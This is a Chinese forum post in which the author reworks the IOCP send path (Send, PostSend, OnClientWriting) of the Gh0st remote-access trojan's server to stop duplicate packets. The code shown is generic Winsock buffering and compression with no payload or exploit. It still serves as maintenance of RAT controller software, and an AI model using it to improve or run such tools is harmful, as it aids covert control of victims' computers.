测试发现有时客户端会发送重复数据包,感觉作者的IOCP发送处理逻辑不是太清晰,简单修改了下,初步测试没发现异常
话说我很想不通使用了TCP通信的Gh0st里面居然还有处理重发的代码,真是蛋疼啊,懒得删了,万一有个大坑呢?
另外里面频繁的new delete看得我也很不爽啊,不过我忍住了,能不动就不动
1、CIOCPServer::Send
void[B] CIOCPServer::Send[/B](ClientContext* pContext, LPBYTE lpData, UINT nSize)
{
if (pContext == NULL)
return;
try
{
CLock cs(pContext->m_SndLock, "Send");
if (nSize > 0)
{
// Compress data
unsigned long destLen = (double)nSize * 1.001 + 12;
LPBYTE pDest = new BYTE[destLen];
int nRet = compress(pDest, &destLen, lpData, nSize);
if (nRet != Z_OK)
{
delete [] pDest;
return;
}
//////////////////////////////////////////////////////////////////////////
LONG nBufLen = destLen + HDR_SIZE;
// 5 bytes packet flag
pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
// 4 byte header [Size of Entire Packet]
pContext->m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen));
// 4 byte header [Size of UnCompress Entire Packet]
pContext->m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize));
// Write Data
pContext->m_WriteBuffer.Write(pDest, destLen);
delete [] pDest;
// 如果当前缓冲区无数据堆积,执行PostSend
[B]if (pContext->m_WriteBuffer.GetBufferLen() == nBufLen)
PostSend(pContext);[/B]
// 发送完后,再备份数据, 因为有可能是m_ResendWriteBuffer本身在发送,所以不直接写入
LPBYTE lpResendWriteBuffer = new BYTE[nSize];
CopyMemory(lpResendWriteBuffer, lpData, nSize);
pContext->m_ResendWriteBuffer.ClearBuffer();
pContext->m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // 备份发送的数据
delete [] lpResendWriteBuffer;
}
else // 要求重发
{
pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
pContext->m_ResendWriteBuffer.ClearBuffer();
pContext->m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // 备份发送的数据
}
//OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
//PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
pContext->m_nMsgOut++;
}catch(...){}
}
2、添加函数CIOCPServer::PostSend
void [B]CIOCPServer::PostSend[/B](ClientContext* pContext)
{
OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
WSABUF sndBuf;
ULONG ulFlags = MSG_PARTIAL;
m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT);
sndBuf.buf = (char*) pContext->m_WriteBuffer.GetBuffer();
sndBuf.len = pContext->m_WriteBuffer.GetBufferLen();
int nRetVal = WSASend(pContext->m_Socket,
&sndBuf,
1,
&sndBuf.len,
ulFlags,
&pOverlap->m_ol,
NULL);
if (nRetVal == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
RemoveStaleClient( pContext, FALSE );
}
3、CIOCPServer::OnClientWriting
bool [B]CIOCPServer::OnClientWriting[/B](ClientContext* pContext, DWORD dwIoSize)
{
try
{
//////////////////////////////////////////////////////////////////////////
static DWORD nLastTick = GetTickCount();
static DWORD nBytes = 0;
nBytes += dwIoSize;
if (GetTickCount() - nLastTick >= 1000)
{
nLastTick = GetTickCount();
InterlockedExchange((LPLONG)&(m_nSendKbps), nBytes);
nBytes = 0;
}
//////////////////////////////////////////////////////////////////////////
TRACE("IOCP Send DONE %d bytes Remain:%d bytes\n",
dwIoSize,
pContext->m_WriteBuffer.GetBufferLen());
// Finished writing - tidy up
if (dwIoSize > 0){
pContext->m_WriteBuffer.Delete(dwIoSize);
[B]if (pContext->m_WriteBuffer.GetBufferLen() > 0)
PostSend(pContext);[/B]
else
pContext->m_WriteBuffer.ClearBuffer();
}
}catch(...){}
return false; // issue new read after this one
}
[课程]FART 脱壳王!加量不加价!FART作者讲授!